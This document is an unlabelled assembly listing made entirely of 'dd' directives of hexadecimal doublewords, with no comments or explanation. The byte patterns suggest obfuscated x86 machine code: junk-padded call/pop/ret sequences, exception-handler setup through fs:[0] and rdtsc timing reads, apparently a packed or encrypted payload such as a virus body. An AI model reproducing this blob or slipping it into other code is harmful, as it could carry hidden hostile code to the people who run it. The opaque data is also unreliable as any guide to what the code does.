		dd 4244481h, 19h, 0EEC35545h, 878BF83Fh, 0D88B66B3h, 85858Bh
		dd 6A061Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 890693C3h, 0C486h, 0C8BB6600h, 0D1958B0Ch
		dd 0FC061D20h, 8904C283h, 1D22F9BDh, 13E906h, 30CF0000h
		dd 0DAF9D04Dh, 9B4813CDh, 0B169D12Eh, 8E253EDDh, 205089DEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 58C35040h
		dd 322FD27Eh, 768FD374h, 9E9h, 2F567E00h, 54A55A76h, 81665BC9h
		dd 8DDF3EDFh, 20B67885h, 0B9BD8906h, 89061D32h,	0B886h
		dd 6AF800h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 18h,	5BC35343h, 0BBC2FCE7h, 0E48597BFh, 62B5FF04h, 290620A3h
		dd 1D258585h, 6995FF06h, 0BB061D15h, 74846351h,	0E8525096h
		dd 0Dh,	0BEA89317h, 96847119h, 8678E8Ch, 310F5BA4h, 585AFC8Ah
		dd 9D239650h, 61D13E9h,	0A362B5FFh, 6A0620h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58945C3h
		dd 61D2BB5h, 1A9595FFh,	6A061Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 436AF2C3h, 169EBBB2h
		dd 0BD835999h, 61D2C71h, 21840F00h, 89000000h, 1D1BA98Dh
		dd 0E8605006h, 0Ch, 0E34E49E0h,	0DDCFF130h, 9212217Ch
		dd 0FE8B665Fh, 24348961h, 0A362B5FFh, 9D8B0620h, 61D04D5h
		dd 9AD95FFh, 9D89061Dh,	61D0F5Dh, 0A362B5FFh, 6A0620h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0DE589AC3h, 0BA1337B4h, 71B589BBh, 0BB061D05h, 59CB5278h
		dd 2A7195FFh, 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 57DC5EC3h, 0DE9h, 7AA82F00h, 8B8753EBh
		dd 4A10A2B4h, 0BD83F6B6h, 61D03EDh, 54840F02h, 60000000h
		dd 28F0Fh, 5F510000h, 61FABF0Fh, 2F49858Bh, 6A061Dh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B2D70BC3h, 43089CFAh, 0E9084388h, 0Eh, 513BA480h, 1D594BA2h
		dd 0E43EBAECh, 0D98BEE40h, 660000C6h, 0C7B73BBBh, 1D00D585h
		dd 6, 11E800h, 5ADB0000h, 0D749EBC8h, 0C443050h, 6C68720Ah
		dd 5B45F985h, 0FFF477E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2495CB1Fh
		dd 3870Fh, 0B70F0000h, 8DC18BFEh, 1D042185h, 0AD9D8B06h
		dd 90061D13h, 0DEBF6650h, 6AF890D4h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0C989770h
		dd 0CA44C63Eh, 0B3006AC0h, 0F5858D52h, 6A0621E0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0BFA2C350h, 29C9302Eh, 0F05C083h, 0B390D8B7h, 6A9050E3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0DBABC350h, 7191A1CBh, 8D89738Ch,	61D2A19h
		dd 8D31006Ah, 61D136Dh,	0F006AF8h, 34BFDFB7h, 0FF0296D6h
		dd 1D2A3995h, 75BD8B06h, 8D061D33h, 2095358Dh, 38F0F06h
		dd 80000000h, 0D1FFADCBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 15C35242h, 31C1BD83h,	0F01061Dh, 9085h
		dd 94BB6600h, 6A026A9Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 903CC357h, 8AF4BF66h
		dd 9E850h, 7E2B0000h, 351AD7C3h, 512E3438h, 6E8h, 0A6855300h
		dd 5B1C6A05h, 6A905B5Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 3337C351h, 0FFAC0C66h
		dd 1D156995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 2B0A4342h, 1D25E19Dh, 0F7FE906h
		dd 0E80000h, 5D000000h,	0E0FFED81h, 52600621h, 615BFB8Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0BEC35545h
		dd 10E96Eh, 0DB3E0000h,	0B839E81Ch, 0E11BAF9Ah,	0D8DCF92Ah
		dd 858D9133h, 6208D22h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 9AC35545h, 5090DF8Bh,	98D2BB56h, 905F6808h
		dd 9D23F4B7h, 61D2B05h,	35FF64h, 8B000000h, 1D02BD9Dh
		dd 25896406h, 0
		dd 0BE9h, 0C7B06700h, 83BED227h, 4694733Eh, 32F58D29h
		dd 85FF061Dh, 61D1BC1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 59C35242h, 36A2EAE2h,	5B51C8CFh, 6AFF6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E34FF5C3h, 5B701C03h, 81E6B329h, 0DAABABF7h, 0FFFD8A53h
		dd 1D125DB5h, 9D896006h, 61D01C9h, 61D3BF0Fh, 0F21BBE60h
		dd 0DA811B4Bh, 83B25F6h, 0D595FF61h, 0E9061D2Ch, 153h
		dd 291BD8Bh, 0B0061Dh, 6860Fh, 0BD8B0000h, 61D1289h, 12E870E6h
		dd 46000000h, 59EA838Ah, 93154BDEh, 0D982CBA6h,	0AB90A0F0h
		dd 459D8B48h, 5B061D16h, 0BD8B71E4h, 61D1C69h, 830F613Ch
		dd 10Fh, 2AD1BD8Bh, 0B60F061Dh,	12E9C8h, 6A9F0000h, 12D8158Eh
		dd 993C6663h, 4C271101h, 7A0FBEA6h, 6800Fh, 0BD8B0000h
		dd 61D1591h, 6BAh, 6D9D0B00h, 8B061D1Ah, 0CDB589C1h, 66061D02h
		dd 0C1EF6DBBh, 880F04E8h, 3, 6639EF80h,	0F88BE2F7h, 0C10A6BBh
		dd 66C82B53h, 0E97E20BFh, 10h, 79B14D43h, 0A8E50E98h, 51C459F0h
		dd 0D71F07F5h, 8D89D18Bh, 61D2F6Dh, 8EE9h, 9B53100h, 8B061D20h
		dd 4C4C4485h, 125CBF5Fh, 0C0837D61h, 0FFB70F07h, 6000C083h
		dd 0EE8h, 0FF003300h, 4754CB00h, 0FA29002Dh, 0F8892021h
		dd 719D315Fh, 61061D05h, 830FD03Bh, 0Bh, 2D6EB81h, 44E943B1h
		dd 8B000000h, 0FFFFFF8Dh, 3830FFFh, 80000000h, 0E183C5E3h
		dd 2C840F01h, 0E9000000h, 0Bh, 0A030AC0Ch, 42FF32D0h, 8383711Eh
		dd 0FFFFFFA5h, 9D8BFEFFh, 61D31D5h, 4C449589h, 8B525F4Ch
		dd 0E95FFBh, 8D000000h,	21601CB5h, 799D0B06h, 6A061D1Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0CEAE810Ah, 47E32E9h, 10E964B7h,	25000000h
		dd 0EA8CB289h, 0E52EA72Ch, 17644588h, 0FF3423CFh, 1D120995h
		dd 5D9D8B06h, 0B9061D0Fh, 0EBEh, 184D9501h, 0E183061Dh
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 8B06B56Eh, 6AFCC545h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F9A2C353h
		dd 8B3862A4h, 0D43EAA47h, 12840Fh, 0DE90000h, 7B000000h
		dd 7277DEADh, 31823333h, 0C197EF77h, 0B8h, 8DDB8100h, 2B7CE39Ch
		dd 51006AD2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0FBCA611Dh, 1F91A7C5h, 3AF781F1h, 0AD65DBB1h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 16F1C350h
		dd 0BAF6A1h, 8206FA7Ch,	99850B60h, 8B061D25h, 1D157595h
		dd 66606106h, 6A61CE8Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0E6D5C353h,	14D4E07Ch
		dd 880DE7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 713A5FC3h, 0D2EC7567h, 6E960h, 74310000h
		dd 427F89A8h, 61DF8B66h, 0BE9h,	9CAD6100h, 684FF425h, 1F0B5F23h
		dd 20D1958Bh, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 444E10C3h, 0CE8D6692h, 8D8B9A4Eh
		dd 61D331Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	86C35545h, 0FFE6D6D6h, 10E8E596h, 49000000h, 40EC2307h
		dd 0C517AAA6h, 0FFD1AC5Bh, 89D3A6EBh, 1D024985h, 8B505B06h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 6ADF8B66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 7660C356h, 858978A5h, 61D3155h, 3131BD83h
		dd 0F00061Dh, 5884h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B8643Dh, 8D000000h, 1D4C898Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 976D0DB6h, 1F9466Fh, 1D299995h, 89E1FF06h
		dd 1D295585h, 0F9BD8306h, 61D2Bh, 576840Fh, 0B70F0000h
		dd 0F9BD83FBh, 1061D2Bh, 581840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0FB2481C3h
		dd 8D89B2AFh, 61D0239h,	2BF9BD83h, 0F03061Dh, 51886h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9D236ACDh, 61D1D21h,	57006A60h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0A5F55F4Dh, 0BD8B95A5h
		dd 61D15E5h, 8BD98C66h,	1D1C819Dh, 4E18006h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6FC35141h, 0B6329110h
		dd 513C5E6Eh, 852960BDh, 61D0079h, 68E0Fh, 8A0F0000h, 0
		dd 0BD8B5261h, 61D20A1h, 0FC90A5Fh, 1C984h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 73A1DDB2h, 0AE881h, 651F0000h, 8871557Eh, 0D13EF151h
		dd 0BE9h, 4CB7F000h, 0EA74CD6h,	6BADF61Ah, 9BD8B5Fh, 8B061D21h
		dd 1D20E185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 1E85BB39h, 0FC607912h, 7E9h, 0DFBD200h
		dd 22137FE0h, 99853361h, 6A061D1Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 241BC352h
		dd 0E7816605h, 5050AF58h, 0FAB56052h, 8D0Fh, 0F610000h
		dd 0BF665131h, 5A5B928Eh, 24048958h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 5DC35545h, 3F629591h, 0A19D894Ch
		dd 6A061D02h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 4F0898A3h, 4E8h, 1F03FF00h, 46A0BB00h
		dd 53506144h, 24448B5Bh, 8BD88B04h, 91B9BF00h, 44894A32h
		dd 4BB70424h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0BF66B586h, 95FF231Fh, 61D3145h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 7BC35040h
		dd 13E8h, 9C487E00h, 43DA4FF6h,	0FBB595A2h, 57533B3Eh
		dd 0F4EAC41Ch, 68A0Fh, 0CB810000h, 5D1B3F17h, 818D895Fh
		dd 89061D07h, 20A36285h, 227E906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0B5082EC3h
		dd 18759D8Bh, 858B061Dh, 620A35Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 73C35646h, 798EC618h, 0C70F0Fh
		dd 18h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
		dd 76C35545h, 293AE779h, 0A35EB58Bh, 9D290620h,	61D2B9Dh
		dd 147D858Bh, 89F9061Dh, 1D004185h, 0E9068906h,	8, 0D394EE0Eh
		dd 0D6CC0D2Fh, 20E1858Bh, 8589061Dh, 61D32A1h, 6A044689h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0D127C351h, 6038ABA0h, 0CF8B6660h, 2CD19D29h
		dd 0E961061Dh, 11h, 5E258EBAh, 0D16AB829h, 4531A2Dh, 47413C6Eh
		dd 8B5061F0h, 243489FBh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 64C35545h, 62942FA4h,	0AE9h, 32D2B300h
		dd 0A2C494F9h, 0FF22A780h, 20A35AB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 3E19F5ABh, 0E5D2CC49h, 0C175BF66h, 4E8h, 1F03FF00h
		dd 81BB6600h, 52505097h, 7E8h, 4F1D7A00h, 6B653A7Bh, 5A310F5Bh
		dd 24448B58h, 0C0E0BF04h, 8B683Eh, 0DA1CBF66h, 4244489h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 3C98CA7h, 0F5048C2h, 682h, 61BD2900h, 8D061D13h
		dd 20A36285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DA62FE0Ah, 8B39B998h, 0BF6650F9h
		dd 489505Ch, 4595FF24h,	6A061D31h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 40C4C351h
		dd 0E851938Eh, 0Ch, 0B65BB715h,	7E651F65h, 51887155h, 30A19D8Bh
		dd 8B5F061Dh, 1D2921BDh, 6A6106h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0EBA5CC3h, 0ED9D8BF7h
		dd 0C7061D00h, 1D2BF985h, 306h,	259D0B00h, 0F061D1Dh, 8Dh
		dd 62BD8300h, 620A3h, 63840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 72FB69C3h
		dd 3DA1BF8Fh, 952956D0h, 61D26F5h, 719D895Bh, 0E9061D25h
		dd 48h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 15C35141h, 6E857h, 40B90000h, 0FDC1532Dh, 5FDA8B66h
		dd 0C30505Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0B4C35141h, 0D4ED4122h,	0AB009F03h, 9D9D8958h
		dd 6A061D29h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 9FAC353h, 2715B74Fh, 8509FC70h
		dd 61D0651h, 68E0Fh, 8D890000h,	61D00C9h, 2BF9BD83h, 0F03061Dh
		dd 3F285h, 0FE900h, 72640000h, 4F965932h, 871517FAh, 3528B2ADh
		dd 62BD83CEh, 620A3h, 3D1840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0CC1FF6C3h
		dd 0A362B5FFh, 0FFF90620h, 1D2B0995h, 9E806h, 88CB0000h
		dd 0B3403FBh, 50D33392h, 11B1BD89h, 5F5F061Dh, 0A356B58Bh
		dd 6A0620h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 1B023BC3h, 4819370Ah, 81EF63D1h, 0D4985DC3h
		dd 106C763h, 6A000100h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0F221C353h,	4D654C7Ch
		dd 0A5B589B3h, 50061D13h, 9E8h,	2D09A800h, 6C935B82h, 0BB669C06h
		dd 895FB44Ch, 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0EB0854C3h, 0A9E7FE09h, 9D8B5157h
		dd 61D07F9h, 0B5FF5F5Fh, 620A362h, 5E8h, 983D9900h, 810F1292h
		dd 3, 5BDAB70Fh, 208195FFh, 8F0F061Dh, 3, 8964F780h, 1D2C35BDh
		dd 56B58B06h, 660620A3h, 858BDA8Bh, 61D0085h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 1BC35040h, 51A42680h
		dd 0BD8B4BD5h, 61D1471h, 0C48689h, 0BD890000h, 61D1FE1h
		dd 20D1958Bh, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 57C876C3h, 0E9E2B3BBh, 8, 0CAA42196h
		dd 4E81AAA0h, 6604C283h, 5089F98Bh, 56006A20h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B58917B7h
		dd 61D01F1h, 0B678858Dh, 6A0620h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0E22958C3h, 8873D21Ah
		dd 43BB6693h, 0B886896Dh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0CFE0C351h
		dd 8E1FE852h, 0B5894FF0h, 61D04E1h, 0F380006Ah,	62B5FFFCh
		dd 6A0620A3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 5764C357h, 324781BFh, 6995FF71h
		dd 89061D15h, 1D139995h, 95B58906h, 96061D20h, 9840Fh
		dd 66600000h, 0BE66C68Bh, 5061E63Fh, 38D0F96h, 66000000h
		dd 0B5FFDE8Bh, 620A362h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 52C35242h, 0B86D94D0h, 0E858686Eh
		dd 0Eh,	26AAB3Ah, 0CBFA9BB4h, 305E1AE6h, 5E92522h, 0CD000000h
		dd 1A918831h, 9595FF5Bh, 6A061D1Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 8C8FC353h
		dd 2810Fh, 78B70000h, 2C71BD83h, 0F00061Dh, 2984h, 4DBD8B00h
		dd 0BB061D02h, 0B64F9DBh, 0AE850h, 0E8850000h, 89A0BF08h
		dd 1B5B0AE7h, 895BD98Bh, 85892434h, 61D2F65h, 0B5FFD88Ah
		dd 620A362h, 6840Fh, 0BD230000h, 61D3149h, 9AD95FFh, 6A061Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 793B4CC3h, 0F4111CB2h, 0F98AF41Bh, 0A362B5FFh, 0EF800620h
		dd 7195FF3Dh, 0BB061D2Ah, 6C53257Dh, 3EDBD83h, 0F02061Dh
		dd 4E84h, 0F566000h, 8B5BC6B7h,	0BF0F61C8h, 49858BFEh
		dd 6A061D2Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 8AA6C355h, 96A58CE3h, 0F99A103h
		dd 38Bh, 0F98B6600h, 0F0000C6h,	688h, 0B58D2900h, 0C7061D15h
		dd 1D00D585h, 6, 618D2900h, 0E9061D2Ch,	0FFFFF184h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FC35646h, 1FA2DD8Dh
		dd 66669CD8h, 36D5EF81h, 890FC18Bh, 5, 4CE78166h, 21858D6Eh
		dd 6A061D04h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 21D4C357h, 9D89E9FAh, 61D29A5h
		dd 0CBF6690h, 5250502Eh, 310FF88Bh, 2830Fh, 0E7B30000h
		dd 6690585Ah, 6A6171BFh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 8A18675Eh, 0DE8BD225h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 2183D7C3h, 11E85F4Fh, 7F000000h, 83E8F6AFh
		dd 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 0FE9h, 0D00D6B00h
		dd 0CBFB1039h, 2FD59D81h, 247733Fh, 0A9858D5Fh,	890621F2h
		dd 1D291D85h, 5C08306h,	3AD8589h, 14E9061Dh, 86000000h
		dd 0BBD581D3h, 751C3671h, 0F79AF013h, 70AD8DDFh, 50B35BE2h
		dd 0BE952h, 59520000h, 6A5D5C76h, 8EF4FE44h, 4895F3Fh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0CD124A24h, 667E85DBh, 7D3FCF81h, 1C3D8589h
		dd 6A061Dh, 6FAB2DBFh, 6A006A4Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EBA1C357h
		dd 0CAD94C90h, 0B3745243h, 1830Fh, 0FFF50000h, 1D2A3995h
		dd 0A9BD8B06h, 0F061D25h, 983h,	38F0F00h, 66000000h, 8D8DFA8Bh
		dd 6209535h, 12E9h, 5FA08500h, 0ADBFCAEh, 0A803CFF7h, 437EAB8Eh
		dd 0FFBF42E6h, 52006AD1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0B2BC50F3h, 65AD161h
		dd 0C1BD83E2h, 1061D31h, 67850Fh, 850F0000h, 2,	8531FE8Ah
		dd 61D2E59h, 860F026Ah,	2, 0FA8BDA8Ah, 188E0F50h, 0E9000000h
		dd 13h,	936BA091h, 647E7BCh, 1B0F4575h,	63FA0301h, 89D03E0Eh
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 5FB511C3h, 6995FFEDh, 8B061D15h, 1D1D3DBDh
		dd 0DEBE906h, 0E80000h,	5D000000h, 0F2B3ED81h, 6A0621h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 732D60C3h, 0E5DA614Dh, 0CB81D8FCh, 7D27AA00h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C4C35141h, 80D20927h
		dd 8E977h, 90750000h, 9AF53216h, 0E780B4FAh, 55BD8BE9h
		dd 8D061D30h, 208D2285h, 0C40EBF06h, 0BD0915B4h, 61D2291h
		dd 50FE8B90h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 3D00504h,	1D04099Dh, 35FF6406h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 91C35343h
		dd 0AAE3E856h, 8E9h, 741AB400h,	3FACA97Bh, 25896456h, 0
		dd 36C68060h, 61D0BF0Fh, 1BC185FFh, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D0F1DC3h
		dd 0Bh,	419D2960h, 66061D27h, 0F61D38Bh, 1783h,	12E900h
		dd 0C0990000h, 8BF7161Fh, 91FE2BC4h, 423CC1B0h,	459CCD2Dh
		dd 8166FF6Ah, 0FF46A4E3h, 1D0201B5h, 419D8B06h,	0FF061D20h
		dd 1D2CD595h, 104E906h,	9D030000h, 61D1BD9h, 70E600B0h
		dd 9E9h, 0DB105900h, 0EC2C1FEh,	71E410CFh, 2D51BD01h, 613C061Dh
		dd 0DC830Fh, 8A0F0000h,	0
		dd 8BC8B60Fh, 1D0285BDh, 6BA06h, 8B660000h, 53C18BDEh
		dd 0BCDB589h, 0C15B061Dh, 8D2904E8h, 61D1FFDh, 0E9E2F766h
		dd 6, 0C02A3E08h, 0C82B66C6h, 8C0Fh, 0D18B0000h, 93E9F88Bh
		dd 0F000000h, 489h, 53BB6600h, 50858B07h, 0F47554Ch, 28Eh
		dd 83FB8B00h, 0FE8B07C0h, 0F00C083h, 68Eh, 4DBD8B00h, 8B061D2Ch
		dd 1D1FD1BDh, 0FD03B06h, 0C83h,	0DE8B6600h, 51E9h, 10BB6600h
		dd 0FF8D8BF6h, 0FFFFFFFh, 88Ah,	28E0F00h, 8B000000h, 0CBD381DEh
		dd 834AFFD7h, 840F01E1h, 2Ah, 8E5BD8Bh,	0A583061Dh, 0FFFFFFFFh
		dd 498D01FEh, 89061D03h, 554C5095h, 419D2947h, 89061D15h
		dd 1D30F9B5h, 0E906h, 0B58D0000h, 6216EDAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 56C35646h, 8501D7CDh
		dd 61D25ADh, 1F81BD8Bh,	6A061Dh, 26E18589h, 95FF061Dh
		dd 61D1209h, 7BD8D89h, 0ADB9061Dh, 66000011h, 653EE381h
		dd 6AFCE183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FC57C355h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 50C35545h, 0B8E23AA6h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 59C35646h
		dd 2BAEF763h, 218529D2h, 0AD061D1Bh, 0E8D1C233h, 0E983D003h
		dd 0E9F47504h, 8, 98FD8CFBh, 0BB918B52h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 0C3C35545h, 8A339B9Bh
		dd 733B9E4Eh, 2AE5BD89h, 880D061Dh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0C1B7C351h, 16CD8D01h, 958B061Dh, 61D20D1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D6C35545h, 18418779h
		dd 1D8D8B54h, 89061D33h, 1D20E5BDh, 0FE906h, 0BCE50000h
		dd 0DD5EF171h, 0FEB2B3B5h, 0F5209D5Ah, 0C28B5000h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8058188Bh, 6ACBF3h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 93F24EC3h, 0E311C5D5h, 0D98BA8DDh, 5B4EB756h, 3131BD83h
		dd 0F00061Dh, 4784h, 68D0F00h, 8B000000h, 1D2B35BDh, 0B806h
		dd 8B660000h, 8DFE8BDAh, 1D4C898Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0D98B64F1h
		dd 0D88BE1FFh, 6DB58950h, 5F061D2Dh, 2BF9BD83h,	0F00061Dh
		dd 4F084h, 0EE900h, 3A120000h, 0A2DFE6B6h, 0F2378D19h
		dd 317A2EA2h, 2BF9BD83h, 0F01061Dh, 4EB84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0A6CA7A51h, 0F106D5Ch, 29559D8Bh, 0BD83061Dh, 61D2BF9h
		dd 7F860F03h, 8B000004h, 1D2CE19Dh, 0F5BD8B06h,	60061D04h
		dd 68E0Fh, 85890000h, 61D2679h,	6AD98C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 80BEC351h
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0E7E68EC3h, 0ED7B7841h, 0B7F6036h, 1D2745BDh
		dd 0FC90A06h, 13C84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 43726728h, 9E2AF47Ah
		dd 0DBB70FFFh, 5E8h, 0F6C1AA00h, 9D8B3D9Ah, 61D3109h, 0E1858B5Bh
		dd 6A061D20h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3C52C351h, 336D9D8Bh, 8533061Dh
		dd 61D1B99h, 3318589h, 6090061Dh, 59C18B53h, 34B30DBBh
		dd 50506179h, 0BF666052h, 0BF6665DBh, 0F619FE3h, 5AA4B331h
		dd 6AF59058h, 6890F00h,	8B000000h, 1D3221BDh, 19E96806h
		dd 34811F0Fh, 101A1624h, 55006A1Fh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 24419B31h, 0C6A106BBh
